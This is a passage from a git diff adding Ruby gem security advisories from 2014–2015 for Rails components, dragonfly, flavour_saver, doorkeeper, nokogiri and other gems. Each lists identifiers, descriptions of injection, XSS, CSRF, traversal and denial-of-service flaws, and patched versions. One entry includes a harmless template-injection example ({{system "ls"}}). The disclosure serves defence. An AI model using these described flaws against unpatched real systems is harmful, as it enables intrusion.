activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2014-3514 + ghsa: 9rf5-jm6f-2fmm + url: https://groups.google.com/forum/#!msg/rubyonrails-security/M4chq5Sb540/CC1Fh0Y_NWwJ + title: Data Injection Vulnerability in Active Record + date: 2014-08-18 + description: |- + The create_with functionality in Active Record was implemented incorrectly + and completely bypasses the strong parameters protection. Applications which pass + user-controlled values to create_with could allow attackers to set arbitrary attributes + on models. + cvss_v2: 8.7 + unaffected_versions: + - "< 4.0.0" + patched_versions: + - "~> 4.0.9" + - ">= 4.1.5" +--- diff --git a/advisories/_posts/2014-08-22-CVE-2014-5441.md b/advisories/_posts/2014-08-22-CVE-2014-5441.md new file mode 100644 index 00000000..0853a40b --- /dev/null +++ b/advisories/_posts/2014-08-22-CVE-2014-5441.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2014-5441 (fat_free_crm): Fat Free CRM Gem contains a javascript cross-site + scripting (XSS) vulnerability' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2014-5441 + osvdb: 110420 + ghsa: wcfx-3m6v-4frg + url: https://nvd.nist.gov/vuln/detail/CVE-2014-5441 + title: Fat Free CRM Gem contains a javascript cross-site scripting (XSS) vulnerability + date: 2014-08-22 + description: |- + Fat Free CRM Gem contains a javascript cross-site scripting (XSS) + vulnerability. When a user is created/updated using a specifically + crafted username, first name or last name, it is possible for + arbitrary javascript to be executed on all Fat Free CRM pages. + This code would be executed for all logged in users. + cvss_v2: 4.3 + unaffected_versions: + - "<= 0.11.0" + patched_versions: + - ">= 0.13.3" +--- diff --git a/advisories/_posts/2014-08-25-OSVDB-110439.md b/advisories/_posts/2014-08-25-OSVDB-110439.md new file mode 100644 index 00000000..67d8b80a --- /dev/null +++ b/advisories/_posts/2014-08-25-OSVDB-110439.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-110439 (dragonfly): Dragonfly Gem for Ruby Image Uploading & Processing + Remote Command Execution' +comments: false +categories: +- dragonfly +advisory: + gem: dragonfly + osvdb: 110439 + url: https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193 + title: Dragonfly Gem for Ruby Image Uploading & Processing Remote Command Execution + date: 2014-08-25 + description: |- + Dragonfly Gem for Ruby contains a flaw in Uploading & Processing + that is due to the gem failing to restrict arbitrary commands to + imagemagicks convert. This may allow a remote attacker to gain + read/write access to the filesystem and execute arbitrary commands. + patched_versions: + - ">= 1.0.7" + related: + url: + - https://github.com/markevans/dragonfly/compare/v1.0.6...v1.0.7 + - https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193 + - https://www.mend.io/vulnerability-database/WS-2014-0016 + - http://osvdb.org/show/osvdb/110439 +--- diff --git a/advisories/_posts/2014-09-04-OSVDB-110796.md b/advisories/_posts/2014-09-04-OSVDB-110796.md new file mode 100644 index 00000000..9286c393 --- /dev/null +++ b/advisories/_posts/2014-09-04-OSVDB-110796.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-110796 (flavour_saver): FlavourSaver handlebars helper remote code execution.' +comments: false +categories: +- flavour_saver +advisory: + gem: flavour_saver + osvdb: 110796 + url: https://security.snyk.io/vuln/SNYK-RUBY-FLAVOURSAVER-5457859 + title: FlavourSaver handlebars helper remote code execution. + date: 2014-09-04 + description: |- + FlavourSaver contains a flaw in helper method dispatch where it uses + Kernel::send to call helpers without checking that they are defined + within the template context first. This allows expressions such as + {{system "ls"}} or {{eval "puts 1 + 1"}} to be executed. + patched_versions: + - ">= 0.3.3" + related: + url: + - https://github.com/FlavourSaver/FlavourSaver/compare/v0.3.2...v0.3.3 + - https://github.com/FlavourSaver/FlavourSaver/commit/04a8ff444a9a9668a75b01b20b4974d398087a64 + - https://raw.githubusercontent.com/codesake/codesake-dawn/master/Roadmap.md + - https://github.com/slowmistio/dawnscanner-analysis-security-scanner-for-ruby-/blob/master/Roadmap.md + - https://security.snyk.io/vuln/SNYK-RUBY-FLAVOURSAVER-5457859 + - http://osvdb.org/show/osvdb/110796 +--- diff --git a/advisories/_posts/2014-09-25-OSVDB-112683.md b/advisories/_posts/2014-09-25-OSVDB-112683.md new file mode 100644 index 00000000..b5657016 --- /dev/null +++ b/advisories/_posts/2014-09-25-OSVDB-112683.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-112683 (as): as Gem for Ruby Process List Local Plaintext Credentials + Disclosure' +comments: false +categories: +- as +advisory: + gem: as + osvdb: 112683 + url: https://security.snyk.io/vuln/SNYK-RUBY-AS-20195 + title: as Gem for Ruby Process List Local Plaintext Credentials Disclosure + date: 2014-09-25 + description: |- + as Gem for Ruby contains a flaw that is due to the program displaying + credential information in plaintext in the process list. This may + allow a local attacker to gain access to credential information. + notes: Never patched + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-AS-20195 + - http://www.vapid.dhs.org/advisories/as-v1.0.html + - http://www.vapidlabs.com/advisory.php?v=17 + - http://osvdb.org/show/osvdb/112683 +--- diff --git a/advisories/_posts/2014-09-27-CVE-2014-10077.md b/advisories/_posts/2014-09-27-CVE-2014-10077.md new file mode 100644 index 00000000..d92bbc4e --- /dev/null +++ b/advisories/_posts/2014-09-27-CVE-2014-10077.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2014-10077 (i18n): i18n Gem for Ruby lib/i18n/core_ext/hash.rb Hash#slice() + Function Hash Handling DoS' +comments: false +categories: +- i18n +advisory: + gem: i18n + cve: 2014-10077 + ghsa: 34hf-g744-jw64 + url: https://github.com/svenfuchs/i18n/pull/289 + title: i18n Gem for Ruby lib/i18n/core_ext/hash.rb Hash#slice() Function Hash Handling + DoS + date: 2014-09-27 + description: |- + i18n Gem for Ruby contains a flaw in the Hash#slice() function in + lib/i18n/core_ext/hash.rb that is triggered when calling a hash when + :some_key is in keep_keys but not in the hash. This may allow an attacker + to cause the program to crash. + cvss_v3: 7.5 + patched_versions: + - ">= 0.8.0" + related: + osvdb: + - 121500 +--- diff --git a/advisories/_posts/2014-09-29-GHSA-mpwp-4h2m-765c.md b/advisories/_posts/2014-09-29-GHSA-mpwp-4h2m-765c.md new file mode 100644 index 00000000..03892a6f --- /dev/null +++ b/advisories/_posts/2014-09-29-GHSA-mpwp-4h2m-765c.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'GHSA-mpwp-4h2m-765c (activejob): Active Job - Object injection security vulnerability + if Global IDs' +comments: false +categories: +- activejob +- rails +advisory: + gem: activejob + framework: rails + ghsa: mpwp-4h2m-765c + osvdb: 112347 + url: https://github.com/advisories/GHSA-mpwp-4h2m-765c + title: Active Job - Object injection security vulnerability if Global IDs + date: 2014-09-29 + description: |- + Active Job vulnerability: An Active Job bug allowed String + arguments to be deserialized as if they were Global IDs, an + object injection security vulnerability. + + * In release post: "Active Job vulnerability: + We also fixed an Active Job bug that allowed String + arguments to be deserialized as if they were Global IDs, + an object injection security vulnerability. + cvss_v4: 6.6 + patched_versions: + - ">= 4.2.0.beta2" + related: + url: + - https://advisories.gitlab.com/pkg/gem/activejob/OSVDB-112347 + - https://rubyonrails.org/2014/9/29/Rails-4-2-0-beta2-has-been-released + - https://advisories.gitlab.com/pkg/gem/activejob/GHSA-mpwp-4h2m-765c + - https://github.com/advisories/GHSA-mpwp-4h2m-765c + notes: "- No CVE or CVSS values.\n" +--- diff --git a/advisories/_posts/2014-09-29-OSVDB-112346.md b/advisories/_posts/2014-09-29-OSVDB-112346.md new file mode 100644 index 00000000..27b77ee4 --- /dev/null +++ b/advisories/_posts/2014-09-29-OSVDB-112346.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-112346 (web-console): Web Console Gem for Ruby contains an unspecified + flaw' +comments: false +categories: +- web-console +advisory: + gem: web-console + osvdb: 112346 + url: https://my.diffend.io/gems/web-console/versions/2.0.0.beta3 + title: Web Console Gem for Ruby contains an unspecified flaw + date: 2014-09-29 + description: |- + The Web Console Gem for Ruby on Rails contains an unspecified + flaw that may allow an attacker to have an unspecified impact. + No further details have been provided by the vendor. + patched_versions: + - ">= 2.0.0.beta4" + related: + url: + - https://github.com/rails/web-console/compare/v2.0.0.beta3...v2.0.0.beta4 + - https://my.diffend.io/gems/web-console/versions/2.0.0.beta3 + - https://github.com/slowmistio/dawnscanner-analysis-security-scanner-for-ruby-/blob/master/Roadmap.md + - http://www.osvdb.org/show/osvdb/112346 +--- diff --git a/advisories/_posts/2014-09-29-OSVDB-112347.md b/advisories/_posts/2014-09-29-OSVDB-112347.md new file mode 100644 index 00000000..d726a42c --- /dev/null +++ b/advisories/_posts/2014-09-29-OSVDB-112347.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-112347 (activejob): Active Job - Object injection security vulnerability + if Global IDs' +comments: false +categories: +- activejob +advisory: + gem: activejob + osvdb: 112347 + url: https://advisories.gitlab.com/pkg/gem/activejob/OSVDB-112347 + title: Active Job - Object injection security vulnerability if Global IDs + date: 2014-09-29 + description: | + * In release post: "Active Job vulnerability: + We also fixed an Active Job bug that allowed String + arguments to be deserialized as if they were Global IDs, + an object injection security vulnerability. + patched_versions: + - ">= 4.2.0.beta2" + related: + url: + - https://rubyonrails.org/2014/9/29/Rails-4-2-0-beta2-has-been-released + - https://advisories.gitlab.com/pkg/gem/activejob/OSVDB-112347 + notes: "- No CVE, GHSA, or CVSS values\n" +--- diff --git a/advisories/_posts/2014-10-13-OSVDB-126330.md b/advisories/_posts/2014-10-13-OSVDB-126330.md new file mode 100644 index 00000000..3621fdcf --- /dev/null +++ b/advisories/_posts/2014-10-13-OSVDB-126330.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'OSVDB-126330 (sidekiq-pro): Sidekiq Pro Gem for Ruby web/views/batch{,es}.erb + Description Element XSS' +comments: false +categories: +- sidekiq-pro +advisory: + gem: sidekiq-pro + osvdb: 126330 + url: https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20197 + title: Sidekiq Pro Gem for Ruby web/views/batch{,es}.erb Description Element XSS + date: 2014-10-13 + description: XSS via batch description in Sidekiq::Web + patched_versions: + - ">= 1.9.1" + related: + url: + - https://github.com/mperham/sidekiq/commit/99b12fb50fe244c5a317f03f1bed9b333ec56ebe + - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20197 +--- diff --git a/advisories/_posts/2014-10-30-CVE-2014-7818.md b/advisories/_posts/2014-10-30-CVE-2014-7818.md new file mode 100644 index 00000000..63a095ab --- /dev/null +++ b/advisories/_posts/2014-10-30-CVE-2014-7818.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2014-7818 (actionpack): Arbitrary file existence disclosure in Action + Pack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2014-7818 + ghsa: 29gr-w57f-rpfw + url: https://groups.google.com/forum/#!topic/rubyonrails-security/dCp7duBiQgo + title: Arbitrary file existence disclosure in Action Pack + date: 2014-10-30 + description: |- + Specially crafted requests can be used to determine whether a file exists on + the filesystem that is outside the Rails application's root directory. The + files will not be served, but attackers can determine whether or not the file + exists. + cvss_v2: 4.3 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 3.2.20" + - "~> 4.0.11" + - "~> 4.1.7" + - ">= 4.2.0.beta3" +--- diff --git a/advisories/_posts/2014-10-30-CVE-2014-7819.md b/advisories/_posts/2014-10-30-CVE-2014-7819.md new file mode 100644 index 00000000..60fc4975 --- /dev/null +++ b/advisories/_posts/2014-10-30-CVE-2014-7819.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2014-7819 (sprockets): CVE-2014-7819 rubygem-sprockets: arbitrary file + existence disclosure' +comments: false +categories: +- sprockets +advisory: + gem: sprockets + cve: 2014-7819 + osvdb: 113965 + ghsa: 33pp-3763-mrfp + url: https://groups.google.com/forum/#!topic/rubyonrails-security/doAVp0YaTqY + title: 'CVE-2014-7819 rubygem-sprockets: arbitrary file existence disclosure' + date: 2014-10-30 + description: |- + Multiple directory traversal vulnerabilities in server.rb in Sprockets + before 2.0.5, 2.1.x before 2.1.4, 2.2.x before 2.2.3, 2.3.x before 2.3.3, 2.4.x + before 2.4.6, 2.5.x before 2.5.1, 2.6.x and 2.7.x before 2.7.1, 2.8.x before 2.8.3, + 2.9.x before 2.9.4, 2.10.x before 2.10.2, 2.11.x before 2.11.3, 2.12.x before 2.12.3, + and 3.x before 3.0.0.beta.3, as distributed with Ruby on Rails 3.x and 4.x, allow + remote attackers to determine the existence of files outside the application root + via a ../ (dot dot slash) sequence with (1) double slashes or (2) URL encoding. + cvss_v2: 5.0 + patched_versions: + - "~> 2.0.5" + - "~> 2.1.4" + - "~> 2.2.3" + - "~> 2.3.3" + - "~> 2.4.6" + - "~> 2.5.1" + - "~> 2.7.1" + - "~> 2.8.3" + - "~> 2.9.4" + - "~> 2.10.2" + - "~> 2.11.3" + - "~> 2.12.3" + - ">= 3.0.0.beta.3" +--- diff --git a/advisories/_posts/2014-11-17-CVE-2014-7829.md b/advisories/_posts/2014-11-17-CVE-2014-7829.md new file mode 100644 index 00000000..b72a4e63 --- /dev/null +++ b/advisories/_posts/2014-11-17-CVE-2014-7829.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2014-7829 (actionpack): Arbitrary file existence disclosure in Action + Pack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2014-7829 + ghsa: h56m-vwxc-3qpw + url: https://groups.google.com/forum/#!topic/rubyonrails-security/rMTQy4oRCGk + title: Arbitrary file existence disclosure in Action Pack + date: 2014-11-17 + description: |- + Specially crafted requests can be used to determine whether a file exists on + the filesystem that is outside the Rails application's root directory. The + files will not be served, but attackers can determine whether or not the file + exists. This vulnerability is very similar to CVE-2014-7818, but the + specially crafted string is slightly different. + cvss_v2: 5.0 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 3.2.21" + - "~> 4.0.11.1" + - "~> 4.0.12" + - "~> 4.1.7.1" + - ">= 4.1.8" +--- diff --git a/advisories/_posts/2014-12-04-CVE-2014-9489.md b/advisories/_posts/2014-12-04-CVE-2014-9489.md new file mode 100644 index 00000000..8f6f064e --- /dev/null +++ b/advisories/_posts/2014-12-04-CVE-2014-9489.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2014-9489 (gollum-grit_adapter): gollum-grit_adapter Search Functionality + Allows Arbitrary Command Execution' +comments: false +categories: +- gollum-grit_adapter +advisory: + gem: gollum-grit_adapter + cve: 2014-9489 + url: https://github.com/gollum/gollum/issues/913 + title: gollum-grit_adapter Search Functionality Allows Arbitrary Command Execution + date: 2014-12-04 + description: |- + The gollum-grit_adapter gem contains a flaw that can allow arbitrary + command execution. + + Grit implements its search functionality by shelling out to `git grep`. In + turn, `git grep` takes a `-O` or `--open-files-in-pages` option that will + pipe the results of `grep` to an arbitrary process. By failing to properly + sanitize user input search parameters, an attacker can thus perform command + execution. + + Note that the grep result must find the string 'master' (or + whatever is the default branch that gollum uses) in any of the wiki's + documents for this to succeed. + patched_versions: + - ">= 0.1.1" +--- diff --git a/advisories/_posts/2014-12-08-CVE-2014-9490.md b/advisories/_posts/2014-12-08-CVE-2014-9490.md new file mode 100644 index 00000000..4b6d5243 --- /dev/null +++ b/advisories/_posts/2014-12-08-CVE-2014-9490.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2014-9490 (sentry-raven): sentry-raven Gem for Ruby contains a flaw that + can result in a denial of service' +comments: false +categories: +- sentry-raven +advisory: + gem: sentry-raven + cve: 2014-9490 + osvdb: 115654 + ghsa: c9c5-9fpr-m882 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-9490 + title: sentry-raven Gem for Ruby contains a flaw that can result in a denial of + service + date: 2014-12-08 + description: |- + Sentry raven-ruby contains a flaw in the lib/raven/okjson.rb script that + is triggered when large numeric values are stored as an exponent or in scientific + notation. With a specially crafted request, an attacker can cause the software to + consume excessive resources resulting in a denial of service. + cvss_v2: 5.0 + patched_versions: + - ">= 0.12.2" +--- diff --git a/advisories/_posts/2014-12-18-CVE-2014-8144.md b/advisories/_posts/2014-12-18-CVE-2014-8144.md new file mode 100644 index 00000000..680ed7cc --- /dev/null +++ b/advisories/_posts/2014-12-18-CVE-2014-8144.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2014-8144 (doorkeeper): Cross-site request forgery (CSRF) vulnerability + in doorkeeper 1.4.0 and earlier.' +comments: false +categories: +- doorkeeper +advisory: + gem: doorkeeper + cve: 2014-8144 + osvdb: 116010 + ghsa: 685w-vc84-wxcx + url: https://groups.google.com/forum/#!topic/ruby-security-ann/5_VqJtNc8jw + title: Cross-site request forgery (CSRF) vulnerability in doorkeeper 1.4.0 and earlier. + date: 2014-12-18 + description: |- + Cross-site request forgery (CSRF) vulnerability in doorkeeper 1.4.0 + and earlier allows remote attackers to hijack the user's OAuth + autorization code. This vulnerability has been assigned the CVE + identifier CVE-2014-8144. + + Doorkeeper's endpoints didn't have CSRF protection. Any HTML document + on the Internet can then read a user's authorization code with + arbitrary scope from any Doorkeeper-compatible Rails app you are + logged in. + cvss_v2: 6.8 + patched_versions: + - "~> 1.4.1" + - ">= 2.0.0" +--- diff --git a/advisories/_posts/2015-02-03-OSVDB-117903.md b/advisories/_posts/2015-02-03-OSVDB-117903.md new file mode 100644 index 00000000..42d24f9c --- /dev/null +++ b/advisories/_posts/2015-02-03-OSVDB-117903.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-117903 (ruby-saml): Ruby-Saml Gem is vulnerable to arbitrary code execution' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + osvdb: 117903 + url: https://advisories.dxw.com/advisories/publicly-exploitable-command-injection-in-ruby-saml-0-7-2-library-can-root-the-host + title: Ruby-Saml Gem is vulnerable to arbitrary code execution + date: 2015-02-03 + description: |- + ruby-saml contains a flaw that is triggered as the URI value of a + SAML response is not properly sanitized through a prepared statement. + This may allow a remote attacker to execute arbitrary shell commands + on the host machine. + patched_versions: + - ">= 0.8.2" + related: + url: + - https://advisories.dxw.com/advisories/publicly-exploitable-command-injection-in-ruby-saml-0-7-2-library-can-root-the-host + - https://seclists.org/oss-sec/2015/q3/282 + - https://github.com/SAML-Toolkits/ruby-saml/pull/225#issuecomment-120084288 + - https://github.com/SAML-Toolkits/ruby-saml/commit/1b4e3dd6d2d44efa629144b2180842456bfb2a0f#diff-661b9d9743a3ff77661f224c6191165cL242 + - https://www.mend.io/vulnerability-database/WS-2015-0040 + - http://www.osvdb.org/show/osvdb/117903 +--- diff --git a/advisories/_posts/2015-02-10-CVE-2015-1426.md b/advisories/_posts/2015-02-10-CVE-2015-1426.md new file mode 100644 index 00000000..6983774f --- /dev/null +++ b/advisories/_posts/2015-02-10-CVE-2015-1426.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2015-1426 (facter): Puppet Labs Facter allows local users to obtains sensitive + Amazon EC2 IAM instance metadata by reading a fact for an Amazon EC2 node.' +comments: false +categories: +- facter +advisory: + gem: facter + cve: 2015-1426 + ghsa: j436-h7hm-rx46 + url: https://www.puppet.com/security/cve/cve-2015-1426-potential-sensitive-information-leakage-facters-amazon-ec2-metadata + title: Puppet Labs Facter allows local users to obtains sensitive Amazon EC2 IAM + instance metadata by reading a fact for an Amazon EC2 node. + date: 2015-02-10 + description: |- + Puppet Labs Facter 1.6.0 through 2.4.0 allows local users to + obtains sensitive Amazon EC2 IAM instance metadata by reading + a fact for an Amazon EC2 node. + cvss_v2: 2.1 + cvss_v3: 1.3 + unaffected_versions: + - "< 1.6.0" + patched_versions: + - ">= 2.4.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2015-1426 + - https://www.puppet.com/security/cve/cve-2015-1426-potential-sensitive-information-leakage-facters-amazon-ec2-metadata + - https://sca.analysiscenter.veracode.com/vulnerability-database/security/disclosure-amazon-ec2-iam-instance/ruby/sid-1508/summary + - https://srcclr.com/security/disclosure-amazon-ec2-iam-instance/ruby/s-1508 + - https://github.com/rubysec/ruby-advisory-db/issues/238 + - https://github.com/advisories/GHSA-j436-h7hm-rx46 +--- diff --git a/advisories/_posts/2015-02-10-OSVDB-118830.md b/advisories/_posts/2015-02-10-OSVDB-118830.md new file mode 100644 index 00000000..a276c0f8 --- /dev/null +++ b/advisories/_posts/2015-02-10-OSVDB-118830.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'OSVDB-118830 (doorkeeper): Doorkeeper Gem for Ruby stores sensitive information + in production logs' +comments: false +categories: +- doorkeeper +advisory: + gem: doorkeeper + osvdb: 118830 + url: https://www.versioneye.com/Ruby/doorkeeper/2.1.1 + title: Doorkeeper Gem for Ruby stores sensitive information in production logs + date: 2015-02-10 + description: |- + Doorkeeper Gem for Ruby contains a flaw in lib/doorkeeper/engine.rb. + The issue is due to the program storing sensitive information in + production logs. This may allow a local attacker to gain access to + sensitive information. + patched_versions: + - "~> 1.4.2" + - ">= 2.1.2" + related: + url: + - https://www.versioneye.com/Ruby/doorkeeper/2.1.1 + - https://github.com/doorkeeper-gem/doorkeeper/commit/d6bca5f32b741b8cee83a4aeb818338b919181fe + - https://github.com/doorkeeper-gem/doorkeeper/blob/main/lib/doorkeeper/engine.rb + - https://github.com/doorkeeper-gem/doorkeeper/issues/576 + - https://github.com/rubysec/ruby-advisory-db/pull/128 + - https://my.diffend.io/gems/doorkeeper/versions/0.3.0 + - https://security.snyk.io/vuln/SNYK-RUBY-DOORKEEPER-20206 + - https://www.mend.io/vulnerability-database/WS-2015-0039 + - http://www.osvdb.org/show/osvdb/118830 + notes: 'Issue #576 backported to 1.4.x on March 2, 2015.' +--- diff --git a/advisories/_posts/2015-02-16-CVE-2015-1585.md b/advisories/_posts/2015-02-16-CVE-2015-1585.md new file mode 100644 index 00000000..5fc7f875 --- /dev/null +++ b/advisories/_posts/2015-02-16-CVE-2015-1585.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2015-1585 (fat_free_crm): Fat Free CRM Gem being vulnerable to CSRF-type + attacks' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2015-1585 + osvdb: 118465 + ghsa: wx7c-8j35-mpg8 + url: https://nvd.nist.gov/vuln/detail/CVE-2015-1585 + title: Fat Free CRM Gem being vulnerable to CSRF-type attacks + date: 2015-02-16 + description: |- + Fat Free CRM contains a flaw as HTTP requests to /admin/users do not require + multiple steps, explicit confirmation, or a unique token when performing + certain sensitive actions. By tricking a user into following a specially + crafted link, a context-dependent attacker can perform a Cross-Site Request + Forgery (CSRF / XSRF) attack causing the victim to creating administrative + users. + cvss_v2: 6.8 + patched_versions: + - ">= 0.13.6" +--- diff --git a/advisories/_posts/2015-02-17-CVE-2015-2179.md b/advisories/_posts/2015-02-17-CVE-2015-2179.md new file mode 100644 index 00000000..f4cfddcf --- /dev/null +++ b/advisories/_posts/2015-02-17-CVE-2015-2179.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2015-2179 (xaviershay-dm-rails): xaviershay-dm-rails Gem for Ruby exposes + sensitive information via the process table' +comments: false +categories: +- xaviershay-dm-rails +advisory: + gem: xaviershay-dm-rails + cve: 2015-2179 + osvdb: 118579 + ghsa: 88p8-4vv5-82j7 + url: https://nvd.nist.gov/vuln/detail/CVE-2015-2179 + title: xaviershay-dm-rails Gem for Ruby exposes sensitive information via the process + table + date: 2015-02-17 + description: |- + xaviershay-dm-rails Gem for Ruby contains a flaw in the execute() function + in /datamapper/dm-rails/blob/master/lib/dm-rails/storage.rb. The issue is + due to the function exposing sensitive information via the process table. + This may allow a local attack to gain access to MySQL credential information. + cvss_v3: 5.5 +--- diff --git a/advisories/_posts/2015-03-05-OSVDB-119205.md b/advisories/_posts/2015-03-05-OSVDB-119205.md new file mode 100644 index 00000000..240a9b14 --- /dev/null +++ b/advisories/_posts/2015-03-05-OSVDB-119205.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'OSVDB-119205 (spree): Spree API Information Disclosure CSRF' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 119205 + url: https://web.archive.org/web/20150920092934/https://spreecommerce.com/blog/security-updates-2015-3-3 + title: Spree API Information Disclosure CSRF + date: 2015-03-05 + description: |- + Spree contains a flaw in the API as HTTP requests do not require + multiple steps, explicit confirmation, or a unique token when + performing certain sensitive actions. By tricking a user into + following a specially crafted link, a context-dependent attacker + can perform a Cross-Site Request Forgery (CSRF / XSRF) attack + causing the victim to disclose potentially sensitive information + to attackers. + patched_versions: + - "~> 2.2.10" + - "~> 2.3.8" + - "~> 2.4.5" + - ">= 3.0.0.rc4" + related: + url: + - https://web.archive.org/web/20150920092934/https://spreecommerce.com/blog/security-updates-2015-3-3 + - https://seclists.org/oss-sec/2015/q3/275 + - https://github.com/spree/spree/commit/bfb5f907219d6f8f879ca940882befe89b58a1a4 + - https://security.snyk.io/vuln/SNYK-RUBY-SPREE-20360 + - https://github.com/rubysec/bundler-audit/issues/106 +--- diff --git a/advisories/_posts/2015-03-24-CVE-2015-1820.md b/advisories/_posts/2015-03-24-CVE-2015-1820.md new file mode 100644 index 00000000..fc4aae15 --- /dev/null +++ b/advisories/_posts/2015-03-24-CVE-2015-1820.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2015-1820 (rest-client): CVE-2015-1820 rubygem-rest-client: session fixation + vulnerability Set-Cookie headers present in an HTTP 30x redirection responses' +comments: false +categories: +- rest-client +advisory: + gem: rest-client + cve: 2015-1820 + osvdb: 119878 + ghsa: 3fhf-6939-qg8p + url: https://github.com/rest-client/rest-client/issues/369 + title: 'CVE-2015-1820 rubygem-rest-client: session fixation vulnerability Set-Cookie + headers present in an HTTP 30x redirection responses' + date: 2015-03-24 + description: |- + REST client for Ruby (aka rest-client) before 1.8.0 allows remote attackers + to conduct session fixation attacks or obtain sensitive cookie information by leveraging + passage of cookies set in a response to a redirect. + cvss_v3: 9.8 + unaffected_versions: + - "<= 1.6.0" + patched_versions: + - ">= 1.8.0" +--- diff --git a/advisories/_posts/2015-03-24-CVE-2015-1828.md b/advisories/_posts/2015-03-24-CVE-2015-1828.md new file mode 100644 index 00000000..2daaaf31 --- /dev/null +++ b/advisories/_posts/2015-03-24-CVE-2015-1828.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2015-1828 (http): HTTPS MitM vulnerability in http.rb' +comments: false +categories: +- http +advisory: + gem: http + cve: 2015-1828 + osvdb: 119927 + ghsa: 6wpv-cj6x-v3jw + url: https://groups.google.com/forum/#!topic/httprb/jkb4oxwZjkU + title: HTTPS MitM vulnerability in http.rb + date: 2015-03-24 + description: |- + http.rb failed to call the OpenSSL::SSL::SSLSocket#post_connection_check + method to perform hostname verification. Because of this, an attacker with + a valid certificate but with a mismatched subject can perform a MitM attack. + cvss_v2: 5.0 + cvss_v3: 5.9 + patched_versions: + - ">= 0.7.3" + - "~> 0.6.4" +--- diff --git a/advisories/_posts/2015-04-07-OSVDB-120415.md b/advisories/_posts/2015-04-07-OSVDB-120415.md new file mode 100644 index 00000000..4685a22d --- /dev/null +++ b/advisories/_posts/2015-04-07-OSVDB-120415.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'OSVDB-120415 (redcarpet): redcarpet Gem for Ruby markdown.c parse_inline() + Function XSS' +comments: false +categories: +- redcarpet +advisory: + gem: redcarpet + osvdb: 120415 + url: http://danlec.com/blog/bug-in-sundown-and-redcarpet + title: redcarpet Gem for Ruby markdown.c parse_inline() Function XSS + date: 2015-04-07 + description: |- + redcarpet Gem for Ruby contains a flaw that allows a cross-site scripting + (XSS) attack. This flaw exists because the parse_inline() function in + markdown.c does not validate input before returning it to users. This may + allow a remote attacker to create a specially crafted request that would + execute arbitrary script code in a user's browser session within the trust + relationship between their browser and the server. + patched_versions: + - ">= 3.2.3" + related: + url: + - https://github.com/vmg/redcarpet/releases/tag/v3.2.3 + - http://danlec.com/blog/bug-in-sundown-and-redcarpet + - https://hackerone.com/reports/46916 + - https://github.com/vmg/redcarpet/blob/master/ext/redcarpet/markdown.c + - https://github.com/Homebrew/brew.sh/issues/75 + - https://git.revreso.de/gigadoc2/diaspora/-/tags/v0.4.1.3 + - https://www.rapid7.com/db/vulnerabilities/freebsd-vid-c368155a-fa83-11e4-bc58-001e67150279 + - https://www.mend.io/vulnerability-database/WS-2015-0038 +--- diff --git a/advisories/_posts/2015-04-14-CVE-2015-1819.md b/advisories/_posts/2015-04-14-CVE-2015-1819.md new file mode 100644 index 00000000..a872880b --- /dev/null +++ b/advisories/_posts/2015-04-14-CVE-2015-1819.md @@ -0,0 +1,61 @@ +--- +layout: advisory +title: 'CVE-2015-1819 (nokogiri): Nokogiri gem contains several vulnerabilities in + libxml2 and libxslt' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2015-1819 + ghsa: q7wx-62r7-j2x7 + url: https://github.com/sparklemotion/nokogiri/issues/1374 + title: Nokogiri gem contains several vulnerabilities in libxml2 and libxslt + date: 2015-04-14 + description: |- + Several vulnerabilities were discovered in the libxml2 and libxslt libraries + that the Nokogiri gem depends on. + + CVE-2015-1819 + A denial of service flaw was found in the way libxml2 parsed XML + documents. This flaw could cause an application that uses libxml2 to use an + excessive amount of memory. + + CVE-2015-7941 + libxml2 does not properly stop parsing invalid input, which allows + context-dependent attackers to cause a denial of service (out-of-bounds read + and libxml2 crash) via crafted specially XML data. + + CVE-2015-7942 + The xmlParseConditionalSections function in parser.c in libxml2 + does not properly skip intermediary entities when it stops parsing invalid + input, which allows context-dependent attackers to cause a denial of service + (out-of-bounds read and 